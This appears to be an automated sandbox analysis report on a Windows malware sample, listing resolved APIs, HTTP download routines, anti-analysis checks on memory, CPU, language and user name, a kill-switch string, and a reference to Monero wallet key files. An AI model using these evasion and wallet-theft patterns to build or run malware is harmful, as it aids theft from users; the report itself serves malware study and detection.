GetProcAddress.KERNEL32(75A50000,019DCEE8), ref: 00C4A3B3
GetProcAddress.KERNEL32(75A50000,019C63C0), ref: 00C4A3CB
GetProcAddress.KERNEL32(75A50000,019C6620), ref: 00C4A3E4
GetProcAddress.KERNEL32(75A50000,019DCF18), ref: 00C4A3FC
GetProcAddress.KERNEL32(75A50000,019DCF30), ref: 00C4A414
GetProcAddress.KERNEL32(75070000,019C6600), ref: 00C4A436
GetProcAddress.KERNEL32(75070000,019DCF48), ref: 00C4A44E
GetProcAddress.KERNEL32(75070000,019DCFC0), ref: 00C4A466
GetProcAddress.KERNEL32(75070000,019DCF60), ref: 00C4A47F
GetProcAddress.KERNEL32(75070000,019DCFA8), ref: 00C4A497
GetProcAddress.KERNEL32(74E50000,019C6480), ref: 00C4A4B8
GetProcAddress.KERNEL32(74E50000,019C64C0), ref: 00C4A4D1
GetProcAddress.KERNEL32(75320000,019C6520), ref: 00C4A4F2
GetProcAddress.KERNEL32(75320000,019DC870), ref: 00C4A50A
GetProcAddress.KERNEL32(6F060000,019C6660), ref: 00C4A530
GetProcAddress.KERNEL32(6F060000,019C6540), ref: 00C4A548
GetProcAddress.KERNEL32(6F060000,019C6360), ref: 00C4A560
GetProcAddress.KERNEL32(6F060000,019DCA38), ref: 00C4A579
GetProcAddress.KERNEL32(6F060000,019C63E0), ref: 00C4A591
GetProcAddress.KERNEL32(6F060000,019C6380), ref: 00C4A5A9
GetProcAddress.KERNEL32(6F060000,019C64E0), ref: 00C4A5C2
GetProcAddress.KERNEL32(6F060000,019C6560), ref: 00C4A5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00C4A5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00C4A607
GetProcAddress.KERNEL32(74E00000,019DC930), ref: 00C4A629
GetProcAddress.KERNEL32(74E00000,019D8860), ref: 00C4A641
GetProcAddress.KERNEL32(74E00000,019DC8B8), ref: 00C4A659
GetProcAddress.KERNEL32(74E00000,019DCAC8), ref: 00C4A672
GetProcAddress.KERNEL32(74DF0000,019C6320), ref: 00C4A693
GetProcAddress.KERNEL32(6F9C0000,019DC858), ref: 00C4A6B4
GetProcAddress.KERNEL32(6F9C0000,019C63A0), ref: 00C4A6CD
GetProcAddress.KERNEL32(6F9C0000,019DC888), ref: 00C4A6E5
GetProcAddress.KERNEL32(6F9C0000,019DC960), ref: 00C4A6FD

Strings

HttpQueryInfoA, xrefs: 00C4A5FC
InternetSetOptionA, xrefs: 00C4A5E5

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: c3bd9a9a67b15c39f075053cc835c43c0d28ec1fd49f2dcc80478b9d0b3aca6e
Instruction ID: 191d0d4bae6f16a54aede8f015aa2c696e7153d6488983568b3224a9246f26f6
Opcode Fuzzy Hash: c3bd9a9a67b15c39f075053cc835c43c0d28ec1fd49f2dcc80478b9d0b3aca6e
Instruction Fuzzy Hash: 5E624AB5504201AFD348DFAAED8995E37F9F7C820171C853AE61DE3224D63998C9DB13

Function 00C36280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00C34839
Part of subcall function 00C347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00C34849

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

InternetOpenA.WININET(00C50DFE,00000001,00000000,00000000,00000000), ref: 00C362E1
StrCmpCA.SHLWAPI(?,019DE580), ref: 00C36303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00C36335
HttpOpenRequestA.WININET(00000000,GET,?,019DDC28,00000000,00000000,00400100,00000000), ref: 00C36385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00C363BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00C363D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00C363FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00C3646D
InternetCloseHandle.WININET(00000000), ref: 00C364EF
InternetCloseHandle.WININET(00000000), ref: 00C364F9
InternetCloseHandle.WININET(00000000), ref: 00C36503

Strings

GET, xrefs: 00C3637C
ERROR, xrefs: 00C36407
ERROR, xrefs: 00C364C9

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: e17c6b8eb69b09c6911a61566ea69d84df5a40e244642518d16a8f94a42369bf
Instruction ID: 04078953bf938df15bcc01f89e04dc2b4793425046c7aa88e5fee91e870fd282
Opcode Fuzzy Hash: e17c6b8eb69b09c6911a61566ea69d84df5a40e244642518d16a8f94a42369bf
Instruction Fuzzy Hash: 01717071A50218AFEB24DFA1CC49BEE7778FB44700F1081A8F5096B1D0DBB46A89DF51

Function 00C45510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C4A820: lstrlen.KERNEL32(00C34F05,?,?,00C34F05,00C50DDE), ref: 00C4A82B
Part of subcall function 00C4A820: lstrcpy.KERNEL32(00C50DDE,00000000), ref: 00C4A885

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C45644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C456A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C45857

Part of subcall function 00C4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00C4A7E6

Part of subcall function 00C451F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C45228

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

Part of subcall function 00C452C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C45318
Part of subcall function 00C452C0: lstrlen.KERNEL32(00000000), ref: 00C4532F
Part of subcall function 00C452C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00C45364
Part of subcall function 00C452C0: lstrlen.KERNEL32(00000000), ref: 00C45383
Part of subcall function 00C452C0: lstrlen.KERNEL32(00000000), ref: 00C453AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C4578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00C45940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00C45A0C
Sleep.KERNEL32(0000EA60), ref: 00C45A1B

Strings

ERROR, xrefs: 00C45636
ERROR, xrefs: 00C4577D
ERROR, xrefs: 00C459FE
ERROR, xrefs: 00C45849
ERROR, xrefs: 00C45932
ERROR, xrefs: 00C45693

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 28ca5fe1dee37807d923bde4d3d99bcd04d412a287ff74fd70a68797628a0f84
Instruction ID: c8a9da924e0a793bb80128a22b504f5d64081eca1e2fb0f7bf29fddeea04b1d2
Opcode Fuzzy Hash: 28ca5fe1dee37807d923bde4d3d99bcd04d412a287ff74fd70a68797628a0f84
Instruction Fuzzy Hash: B2E120729501049BEB14FBB1DC96AED7378FF94300F548128B906A61D2EF346B4DEB92

Function 00C417A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00C417C5
ExitProcess.KERNEL32 ref: 00C417D1

Strings

block, xrefs: 00C417B7

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: ec49767d3632c52e70e2f5a4dc1759b5ffaaa138cd7743f21682e90a7f9e97bf
Instruction ID: 79f807f2edb38d479b943eda3385a643f34320c7addf49920a5f08a8241d1153
Opcode Fuzzy Hash: ec49767d3632c52e70e2f5a4dc1759b5ffaaa138cd7743f21682e90a7f9e97bf
Instruction Fuzzy Hash: 2F519CB4B1020AEFDB04DFA1D954BBE77B5BF54304F188058E846A7380D770EA85DB62

Function 00C47500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00C47542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00C4757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C47603
RtlAllocateHeap.NTDLL(00000000), ref: 00C4760A
wsprintfA.USER32 ref: 00C47640

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Strings

C, xrefs: 00C4754C
:, xrefs: 00C4755C
\, xrefs: 00C47560

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: fd550e18fbedb16aeaef8178e618a040a0714ffa9945cd195727e52e6d8ae253
Instruction ID: 8864a380c80d597f0689d3954f7338c9ce638ba41ffa57624df576df4a0c8196
Opcode Fuzzy Hash: fd550e18fbedb16aeaef8178e618a040a0714ffa9945cd195727e52e6d8ae253
Instruction Fuzzy Hash: A64181B1D04248AFDB10DF94DC45BEEBBB8BF48704F144199F50977280D7786A88CBA5

Function 00C469F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D07C8), ref: 00C498A1
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D06D8), ref: 00C498BA
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D07F8), ref: 00C498D2
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D0660), ref: 00C498EA
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D0750), ref: 00C49903
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D8800), ref: 00C4991B
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019C6920), ref: 00C49933
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019C67E0), ref: 00C4994C
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D05A0), ref: 00C49964
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D0828), ref: 00C4997C
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D0588), ref: 00C49995
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D07B0), ref: 00C499AD
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019C66A0), ref: 00C499C5
Part of subcall function 00C49860: GetProcAddress.KERNEL32(75900000,019D0720), ref: 00C499DE

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C311D0: ExitProcess.KERNEL32 ref: 00C31211

Part of subcall function 00C31160: GetSystemInfo.KERNEL32(?), ref: 00C3116A
Part of subcall function 00C31160: ExitProcess.KERNEL32 ref: 00C3117E

Part of subcall function 00C31110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00C3112B
Part of subcall function 00C31110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00C31132
Part of subcall function 00C31110: ExitProcess.KERNEL32 ref: 00C31143

Part of subcall function 00C31220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00C3123E
Part of subcall function 00C31220: __aulldiv.LIBCMT ref: 00C31258
Part of subcall function 00C31220: __aulldiv.LIBCMT ref: 00C31266
Part of subcall function 00C31220: ExitProcess.KERNEL32 ref: 00C31294

Part of subcall function 00C46770: GetUserDefaultLangID.KERNEL32 ref: 00C46774

Part of subcall function 00C31190: ExitProcess.KERNEL32 ref: 00C311C6

Part of subcall function 00C47850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00C311B7), ref: 00C47880
Part of subcall function 00C47850: RtlAllocateHeap.NTDLL(00000000), ref: 00C47887
Part of subcall function 00C47850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00C4789F

Part of subcall function 00C478E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00C47910
Part of subcall function 00C478E0: RtlAllocateHeap.NTDLL(00000000), ref: 00C47917
Part of subcall function 00C478E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00C4792F

Part of subcall function 00C4A9B0: lstrlen.KERNEL32(?,019D8B90,?,\Monero\wallet.keys,00C50E17), ref: 00C4A9C5
Part of subcall function 00C4A9B0: lstrcpy.KERNEL32(00000000), ref: 00C4AA04
Part of subcall function 00C4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C4AA12

Part of subcall function 00C4A8A0: lstrcpy.KERNEL32(?,00C50E17), ref: 00C4A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,019D8830,?,00C5110C,?,00000000,?,00C51110,?,00000000,00C50AEF), ref: 00C46ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C46AE8
CloseHandle.KERNEL32(00000000), ref: 00C46AF9
Sleep.KERNEL32(00001770), ref: 00C46B04
CloseHandle.KERNEL32(?,00000000,?,019D8830,?,00C5110C,?,00000000,?,00C51110,?,00000000,00C50AEF), ref: 00C46B1A
ExitProcess.KERNEL32 ref: 00C46B22

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: aac8c02853ebc8a9d5df6a0ff44d94b94af17a6f516778a63bd82e9f7b9ee537
Instruction ID: 67eedbd294ded08dfa2f935ab88f88d1ca792c4d6e80b52b3e6855ae854e104b
Opcode Fuzzy Hash: aac8c02853ebc8a9d5df6a0ff44d94b94af17a6f516778a63bd82e9f7b9ee537
Instruction Fuzzy Hash: C4312870950208ABEB04FBF1DC56BEE7778BF54301F144528F612A21C2DF706A45EAA6

Function 00C31220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00C3123E
__aulldiv.LIBCMT ref: 00C31258
__aulldiv.LIBCMT ref: 00C31266
ExitProcess.KERNEL32 ref: 00C31294

Strings

@, xrefs: 00C31233

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: d919b37c2cdf3ea38c15efb8b69d078ac3c29b461efd1989c3fbaa1d1830c5d8
Instruction ID: 827dfd3257df782781c07b994c4be162951b7d82001af821b1c773ef57daae02
Opcode Fuzzy Hash: d919b37c2cdf3ea38c15efb8b69d078ac3c29b461efd1989c3fbaa1d1830c5d8
Instruction Fuzzy Hash: 3C016DB0D50308BEEB10EFE0DC49B9EBB78BB54705F288058EB05B62C0D77556459B99

Function 00C46AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,019D8830,?,00C5110C,?,00000000,?,00C51110,?,00000000,00C50AEF), ref: 00C46ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00C46AE8
CloseHandle.KERNEL32(00000000), ref: 00C46AF9
Sleep.KERNEL32(00001770), ref: 00C46B04
CloseHandle.KERNEL32(?,00000000,?,019D8830,?,00C5110C,?,00000000,?,00C51110,?,00000000,00C50AEF), ref: 00C46B1A
ExitProcess.KERNEL32 ref: 00C46B22

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 4949f813d2fe20f6099ffc16aea377a723c3ce32d236ec39437ed7c02a325574
